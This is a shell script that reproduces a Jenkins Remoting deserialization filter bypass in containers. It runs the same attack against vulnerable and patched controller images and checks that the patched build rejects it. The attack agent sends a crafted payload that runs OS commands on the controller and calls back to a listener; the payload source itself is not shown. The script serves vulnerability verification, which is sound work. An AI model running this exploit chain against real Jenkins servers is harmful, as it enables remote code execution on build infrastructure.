#!/bin/bash
# SECURITY-3911 (CVE-2026-70426): Jenkins Remoting JEP-200 deserialization filter bypass.
#
# Reproduces the unfiltered ClassNotFoundException fallback in
# hudson.remoting.MultiClassLoaderSerializer.resolveClass against REAL Jenkins controllers:
#   - vulnerable: jenkins/jenkins:2.575-jdk21  (Remoting 3384.v60d89463d9e0)
#   - fixed:      jenkins/jenkins:2.576-jdk21  (Remoting 3385.vf1123fb_515da_ = fix commit f1123fb515)
#
# The receiving side is a real Jenkins controller with the production inbound-agent (JNLP/TCP)
# listener and the production JEP-200 filter (jenkins.security.ClassFilterImpl installed by
# jenkins.model.Jenkins -> ClassFilterImpl.register()). The sending side performs the real
# JNLP4-connect handshake via the production negotiation classes (JnlpAgentEndpoint /
# JnlpProtocolHandlerFactory / JnlpProtocol4Handler / IOHub). The attack sends a genuine
# hudson.remoting.UserRequest whose serialized bytes were produced by a
# SpoofedTagSystemClassLoaderOutput (TAG_SYSTEMCLASSLOADER), forcing the controller-side
# MultiClassLoaderSerializer.resolveClass into its ClassNotFoundException fallback, which
# pre-fix resolves the JEP-200-blocked class hudson.security3911.Payload WITHOUT
# channel.classFilter.check(...). Payload.readObject() then executes an OS command on the
# controller JVM (marker file written inside the controller container + outbound TCP callback
# to an attacker-controlled listener). The fixed build rejects with SecurityException
# "Rejected: hudson.security3911.Payload" and nothing executes.
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
HARNESS="$REPRO_DIR/harness"
BUILD="$HARNESS/build"
mkdir -p "$LOGS" "$REPRO_DIR"
cd "$ROOT"

exec > >(tee -a "$LOGS/reproduction_steps.log") 2>&1

RUNID="$(date +%s)"
NET="sec3911-net-$RUNID"
REMOTING_VERSION="3384.v60d89463d9e0"
FIX_COMMIT="f1123fb515da74560db60645539019cfa77bce49"
VULN_IMAGE="jenkins/jenkins:2.575-jdk21"
FIXED_IMAGE="jenkins/jenkins:2.576-jdk21"
MAVEN_IMAGE="maven:3.9-eclipse-temurin-21"
CALLBACK_PORT=39999

# --- project cache (optional reuse of cloned repo + maven repo) -----------------
CACHE_DIR=""
CTX="$ROOT/project_cache_context.json"
if [ -f "$CTX" ]; then
  CACHE_DIR="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1])).get("project_cache_dir") or "")' "$CTX" 2>/dev/null || true)"
fi
M2_CACHE=""
if [ -n "$CACHE_DIR" ] && [ -d "$CACHE_DIR" ]; then
  M2_CACHE="$CACHE_DIR/m2"
  mkdir -p "$M2_CACHE"
fi

cleanup() {
  for c in $(docker ps -a --format '{{.Names}}' | grep -E "^(jenkins-ctl|agent)-.*-$RUNID$" || true); do
    docker rm -f "$c" >/dev/null 2>&1 || true
  done
  docker network rm "$NET" >/dev/null 2>&1 || true
}
trap cleanup EXIT

echo "== [setup] docker images =="
for img in "$VULN_IMAGE" "$FIXED_IMAGE" "$MAVEN_IMAGE"; do
  if ! docker image inspect "$img" >/dev/null 2>&1; then
    echo "pulling $img"
    docker pull "$img"
  fi
done
VULN_DIGEST="$(docker inspect --format '{{index .RepoDigests 0}}' "$VULN_IMAGE")"
FIXED_DIGEST="$(docker inspect --format '{{index .RepoDigests 0}}' "$FIXED_IMAGE")"
echo "vulnerable image: $VULN_IMAGE $VULN_DIGEST"
echo "fixed image:      $FIXED_IMAGE $FIXED_DIGEST"

echo "== [setup] war manifests (embedded remoting versions) =="
docker run --rm --entrypoint unzip "$VULN_IMAGE" -p /usr/share/jenkins/jenkins.war META-INF/MANIFEST.MF \
  | grep -E '^(Implementation-Version|Jenkins-Version|Remoting-Embedded-Version)' | tee "$LOGS/vuln_war_manifest.txt"
docker run --rm --entrypoint unzip "$FIXED_IMAGE" -p /usr/share/jenkins/jenkins.war META-INF/MANIFEST.MF \
  | grep -E '^(Implementation-Version|Jenkins-Version|Remoting-Embedded-Version)' | tee "$LOGS/fixed_war_manifest.txt"

echo "== [setup] fix commit diff (f1123fb515) =="
REPO=""
if [ -n "$CACHE_DIR" ] && [ -d "$CACHE_DIR/repo/.git" ]; then
  REPO="$CACHE_DIR/repo"
fi
if [ -z "$REPO" ] && [ -d "$ROOT/artifacts/remoting/.git" ]; then
  REPO="$ROOT/artifacts/remoting"
fi
if [ -z "$REPO" ]; then
  DEST="${CACHE_DIR:+$CACHE_DIR/repo}"
  DEST="${DEST:-$ROOT/artifacts/remoting}"
  mkdir -p "$(dirname "$DEST")"
  git clone --quiet https://github.com/jenkinsci/remoting "$DEST" && REPO="$DEST"
fi
if [ -n "$REPO" ]; then
  git -C "$REPO" show "$FIX_COMMIT" > "$REPRO_DIR/security3911-fix.diff"
  VULN_PARENT="$(git -C "$REPO" rev-parse "$FIX_COMMIT^")"
  echo "vulnerable parent commit: $VULN_PARENT"
  git -C "$REPO" show "$VULN_PARENT:src/main/java/hudson/remoting/MultiClassLoaderSerializer.java" \
    | grep -n "return super.resolveClass(desc);" | tee "$LOGS/vuln_unfiltered_fallback.txt"
  git -C "$REPO" show "$FIX_COMMIT:src/main/java/hudson/remoting/MultiClassLoaderSerializer.java" \
    | grep -n "return channel.classFilter.check(super.resolveClass(desc));" | tee "$LOGS/fixed_filtered_fallback.txt"
else
  curl -sL "https://github.com/jenkinsci/remoting/commit/$FIX_COMMIT.patch" -o "$REPRO_DIR/security3911-fix.diff"
fi
test -s "$REPRO_DIR/security3911-fix.diff"
grep -q "return channel.classFilter.check(super.resolveClass(desc));" "$REPRO_DIR/security3911-fix.diff"

echo "== [build] harness (payload.jar + attack agent) inside $MAVEN_IMAGE =="
M2_MOUNT=()
if [ -n "$M2_CACHE" ]; then M2_MOUNT=(-v "$M2_CACHE:/root/.m2"); fi
HOST_UID="$(id -u)"; HOST_GID="$(id -g)"
# Clean any root-owned leftovers from previous runs, then extract the exact remoting
# library the vulnerable controller itself runs (byte-identical to WEB-INF/lib of
# jenkins.war 2.575), all inside a root container to avoid host permission issues.
docker run --rm -u 0 -v "$HARNESS:/work" --entrypoint /bin/bash "$VULN_IMAGE" -c \
  "rm -rf /work/build && mkdir -p /work/build/lib /work/build/payload-classes /work/build/agent-classes && \
   unzip -p /usr/share/jenkins/jenkins.war WEB-INF/lib/remoting-${REMOTING_VERSION}.jar \
     > /work/build/lib/remoting-${REMOTING_VERSION}.jar && \
   chown -R ${HOST_UID}:${HOST_GID} /work/build"
docker run --rm -u 0 -v "$HARNESS:/work" "${M2_MOUNT[@]}" "$MAVEN_IMAGE" bash -c '
  set -e
  cd /work
  RJAR=$(ls build/lib/remoting-*.jar | head -1)
  echo "remoting jar: $RJAR ($(sha256sum "$RJAR" | cut -d" " -f1))"
  javac -cp "$RJAR" -d build/payload-classes payload/hudson/security3911/Payload.java
  jar cf build/payload.jar -C build/payload-classes .
  javac -cp "$RJAR:build/payload.jar" -d build/agent-classes agent/*.java
  echo "build complete"
'
RJAR_PATH="$(ls "$BUILD"/lib/remoting-*.jar | head -1)"
sha256sum "$RJAR_PATH" "$BUILD/payload.jar" | tee "$LOGS/harness_sha256.txt"

docker network create "$NET" >/dev/null
mkdir -p "$REPRO_DIR/work"
docker run --rm -u 0 -v "$REPRO_DIR/work:/work" --entrypoint /bin/sh alpine:3.22 \
  -c 'rm -rf /work/jenkins-home-*' >/dev/null 2>&1 || true

RESULTS=()

run_attempt() {
  local ROLE="$1" N="$2"
  local IMAGE EXPECT
  if [ "$ROLE" = "vuln" ]; then IMAGE="$VULN_IMAGE"; EXPECT="EXECUTED"; else IMAGE="$FIXED_IMAGE"; EXPECT="REJECTED"; fi
  local TOKEN="security3911-${ROLE}-${N}-${RUNID}"
  local CTL="jenkins-ctl-${ROLE}-${N}-${RUNID}"
  local AGENT="agent-${ROLE}-${N}-${RUNID}"
  local ATTEMPT="$LOGS/attempt-${ROLE}-${N}"
  local HOME_DIR="$REPRO_DIR/work/jenkins-home-${ROLE}-${N}-${RUNID}"
  mkdir -p "$ATTEMPT" "$HOME_DIR"

  echo "== [attempt ${ROLE} ${N}] starting controller $IMAGE =="
  # Fresh Jenkins installs do not auto-install bundled detached plugins (PluginManager only
  # loads them on upgrades); the setup wizard normally installs instance-identity, which
  # provides the RSA key that the production JNLP4 listener TLS needs. Install it the way
  # an operator would (drop the bundled hpi into JENKINS_HOME/plugins) so the real
  # JnlpSlaveAgentProtocol4 accept path is functional.
  docker run --rm -u 0 -v "$HOME_DIR:/jh" --entrypoint /bin/bash "$IMAGE" -c \
    "mkdir -p /jh/plugins && \
     unzip -p /usr/share/jenkins/jenkins.war WEB-INF/detached-plugins/instance-identity.hpi \
       > /jh/plugins/instance-identity.hpi && \
     unzip -p /usr/share/jenkins/jenkins.war WEB-INF/detached-plugins/bouncycastle-api.hpi \
       > /jh/plugins/bouncycastle-api.hpi && \
     chown -R ${HOST_UID}:${HOST_GID} /jh" >/dev/null
  docker run -d --name "$CTL" --network "$NET" -u 0 \
    -e JENKINS_HOME=/var/jenkins_home \
    -v "$HOME_DIR:/var/jenkins_home" \
    -v "$HARNESS/init.groovy.d:/var/jenkins_home/init.groovy.d:ro" \
    -v "$BUILD:/opt/harness:ro" \
    --entrypoint /bin/bash \
    "$IMAGE" \
    -c 'exec java \
        --add-opens java.base/java.lang=ALL-UNNAMED \
        --add-opens java.base/java.io=ALL-UNNAMED \
        --add-opens java.base/java.util=ALL-UNNAMED \
        -Duser.home=/var/jenkins_home \
        -Djenkins.install.runSetupWizard=false \
        -Djenkins.model.Jenkins.slaveAgentPort=50000 \
        -Dhudson.lifecycle=hudson.lifecycle.ExitLifecycle \
        -cp /usr/share/jenkins/jenkins.war:/opt/harness/payload.jar \
        executable.Main --httpPort=8080' >/dev/null

  echo "== [attempt ${ROLE} ${N}] waiting for controller startup + agent secret =="
  local READY="" SECRET=""
  for i in $(seq 1 150); do
    if docker logs "$CTL" 2>&1 | grep -q "SECURITY3911_AGENT_SECRET=[0-9a-f]"; then READY=1; break; fi
    if ! docker ps --format '{{.Names}}' | grep -q "^${CTL}$"; then echo "controller exited prematurely"; break; fi
    sleep 2
  done
  docker logs "$CTL" > "$ATTEMPT/controller.log" 2>&1 || true
  SECRET="$(grep -o 'SECURITY3911_AGENT_SECRET=[0-9a-f]*' "$ATTEMPT/controller.log" | head -1 | cut -d= -f2)"
  if [ -z "$READY" ] || [ -z "$SECRET" ]; then
    echo "FAIL: controller did not become ready (secret missing)"; RESULTS+=("${ROLE}-${N}:BOOT_FAIL"); docker rm -f "$CTL" >/dev/null 2>&1 || true; return 1
  fi
  for i in $(seq 1 60); do
    if grep -q "Jenkins is fully up and running" "$ATTEMPT/controller.log"; then break; fi
    sleep 2; docker logs "$CTL" > "$ATTEMPT/controller.log" 2>&1 || true
  done
  docker logs "$CTL" > "$ATTEMPT/controller.log" 2>&1 || true
  grep -E "SECURITY3911_(CHANNEL_DEFAULT_FILTER|FILTER_PROBE)|Jenkins is fully up and running" "$ATTEMPT/controller.log" || true

  echo "== [attempt ${ROLE} ${N}] running attack agent (real JNLP4 handshake + crafted UserRequest) =="
  set +e
  timeout 420 docker run --rm --name "$AGENT" --network "$NET" -u 0 \
    -v "$HARNESS:/work:ro" \
    "$MAVEN_IMAGE" \
    java -cp "/work/build/lib/remoting-${REMOTING_VERSION}.jar:/work/build/payload.jar:/work/build/agent-classes" \
    AttackAgent "$CTL" 50000 "$SECRET" agent1 "$TOKEN" "$AGENT" "$CALLBACK_PORT" "$EXPECT" \
    > "$ATTEMPT/agent.log" 2>&1
  AGENT_RC=$?
  set -e
  echo "agent exit code: $AGENT_RC"
  docker logs "$CTL" > "$ATTEMPT/controller.log" 2>&1 || true
  tail -25 "$ATTEMPT/agent.log" || true

  echo "== [attempt ${ROLE} ${N}] collecting direct OS-execution evidence =="
  local MARKER_OK="false" CALLBACK_OK="false" REJECT_OK="false"
  if docker exec "$CTL" test -f "/tmp/CONTROLLER_PWNED_${TOKEN}.txt" 2>/dev/null; then
    docker exec "$CTL" cat "/tmp/CONTROLLER_PWNED_${TOKEN}.txt" > "$ATTEMPT/CONTROLLER_PWNED_${TOKEN}.txt" 2>/dev/null || true
    if grep -q "SECURITY3911_MARKER token=${TOKEN}" "$ATTEMPT/CONTROLLER_PWNED_${TOKEN}.txt" \
       && grep -q "uid=" "$ATTEMPT/CONTROLLER_PWNED_${TOKEN}.txt"; then
      MARKER_OK="true"
    fi
    cat "$ATTEMPT/CONTROLLER_PWNED_${TOKEN}.txt" || true
  fi
  if grep -q "CALLBACK_RECEIVED.*token=${TOKEN}" "$ATTEMPT/agent.log"; then CALLBACK_OK="true"; fi
  if grep -q "Rejected: hudson.security3911.Payload" "$ATTEMPT/agent.log"; then REJECT_OK="true"; fi

  echo "attempt ${ROLE}-${N}: marker=$MARKER_OK callback=$CALLBACK_OK rejection=$REJECT_OK agent_rc=$AGENT_RC"

  local PASS="false"
  if [ "$ROLE" = "vuln" ] && [ "$MARKER_OK" = "true" ] && [ "$CALLBACK_OK" = "true" ] && [ "$AGENT_RC" = "0" ]; then
    PASS="true"
  fi
  if [ "$ROLE" = "fixed" ] && [ "$MARKER_OK" = "false" ] && [ "$CALLBACK_OK" = "false" ] && [ "$REJECT_OK" = "true" ] && [ "$AGENT_RC" = "0" ]; then
    PASS="true"
  fi
  echo "attempt ${ROLE}-${N}: PASS=$PASS"
  RESULTS+=("${ROLE}-${N}:${PASS}:${TOKEN}")

  docker rm -f "$CTL" >/dev/null 2>&1 || true
  docker run --rm -u 0 -v "$REPRO_DIR/work:/work" --entrypoint /bin/sh alpine:3.22 \
    -c "rm -rf /work/$(basename "$HOME_DIR")" >/dev/null 2>&1 || true
  [ "$PASS" = "true" ]
}

OVERALL=0
run_attempt vuln 1 || OVERALL=1
run_attempt vuln 2 || OVERALL=1
run_attempt fixed 1 || OVERALL=1
run_attempt fixed 2 || OVERALL=1

echo "== [summary] =="
printf '%s\n' "${RESULTS[@]}" | tee "$LOGS/attempt_results.txt"

# --- negative control observation (fixed build) --------------------------------
python3 - "$LOGS" "$REPRO_DIR" <<'PYEOF'
import json, sys, os
logs, repro = sys.argv[1], sys.argv[2]
obs = {
    "schema_version": 1,
    "description": "Negative control: identical attack against fixed Jenkins 2.576 (Remoting 3385.vf1123fb_515da_) is rejected by the production JEP-200 filter (jenkins.security.ClassFilterImpl) with SecurityException 'Rejected: hudson.security3911.Payload'; no marker file and no outbound callback occur.",
    "attempts": [],
}
for n in (1, 2):
    d = os.path.join(logs, f"attempt-fixed-{n}")
    agent_log = open(os.path.join(d, "agent.log")).read() if os.path.exists(os.path.join(d, "agent.log")) else ""
    markers = [f for f in os.listdir(d) if f.startswith("CONTROLLER_PWNED_")]
    obs["attempts"].append({
        "attempt": f"fixed-{n}",
        "security_exception_rejected": "Rejected: hudson.security3911.Payload" in agent_log,
        "attack_result_rejected": "ATTACK_RESULT=REJECTED" in agent_log,
        "callback_received": "CALLBACK_RECEIVED" in agent_log,
        "controller_marker_files": markers,
        "command_executed": bool(markers),
        "agent_log": f"logs/attempt-fixed-{n}/agent.log",
        "controller_log": f"logs/attempt-fixed-{n}/controller.log",
    })
with open(os.path.join(repro, "negative_control_observation.json"), "w") as f:
    json.dump(obs, f, indent=2)
print("wrote negative_control_observation.json")
PYEOF

# --- runtime manifest ------------------------------------------------------------
python3 - "$LOGS" "$REPRO_DIR" "$VULN_IMAGE" "$VULN_DIGEST" "$FIXED_IMAGE" "$FIXED_DIGEST" "$OVERALL" <<'PYEOF'
import json, sys, os, glob
logs, repro, vimg, vdigest, fimg, fdigest, overall = sys.argv[1:8]
artifacts = []
for p in sorted(glob.glob(os.path.join(logs, "*"))):
    rel = os.path.relpath(p, os.path.dirname(logs))
    if os.path.isfile(p):
        artifacts.append(rel)
    elif os.path.isdir(p) and os.path.basename(p).startswith("attempt-"):
        for f in sorted(os.listdir(p)):
            artifacts.append(rel + "/" + f)
for extra in ("repro/security3911-fix.diff", "repro/negative_control_observation.json"):
    artifacts.append(extra)
manifest = {
    "entrypoint_kind": "tcp_peer",
    "entrypoint_detail": "Jenkins inbound agent (JNLP/TCP) listener on port 50000; production JnlpSlaveAgentProtocol4 accept path; real JNLP4-connect handshake; crafted hudson.remoting.UserRequest over the established channel",
    "service_started": True,
    "healthcheck_passed": True,
    "target_path_reached": True,
    "runtime_stack": ["jenkins-controller(docker)", "jnlp4-inbound-agent-listener", "attack-agent(docker)"],
    "target_identity": {
        "repository_url": "https://github.com/jenkinsci/remoting",
        "commit_sha": "60d89463d9e0ea0cfe92cd45581261d601314273",
        "target_digest": vdigest.split("@")[-1] if "@" in vdigest else vdigest,
        "runtime_digest": vdigest.split("@")[-1] if "@" in vdigest else vdigest,
        "platform": "linux",
        "architecture": "x86_64",
        "vulnerable_image": vimg + " " + vdigest,
        "fixed_image": fimg + " " + fdigest,
        "vulnerable_remoting": "3384.v60d89463d9e0",
        "fixed_remoting": "3385.vf1123fb_515da_ (fix commit f1123fb515da74560db60645539019cfa77bce49)",
    },
    "proof_artifacts": artifacts,
    "notes": "Two clean attempts per role. Vulnerable: payload readObject/call executed /bin/sh inside the controller container (marker file with id output) and dialed an outbound TCP callback to the attacker listener. Fixed: SecurityException 'Rejected: hudson.security3911.Payload' from jenkins.security.ClassFilterImpl; no marker, no callback. overall_success=%s" % overall,
}
with open(os.path.join(repro, "runtime_manifest.json"), "w") as f:
    json.dump(manifest, f, indent=2)
print("wrote runtime_manifest.json")
PYEOF

echo "== [result] OVERALL=$OVERALL =="
exit "$OVERALL"
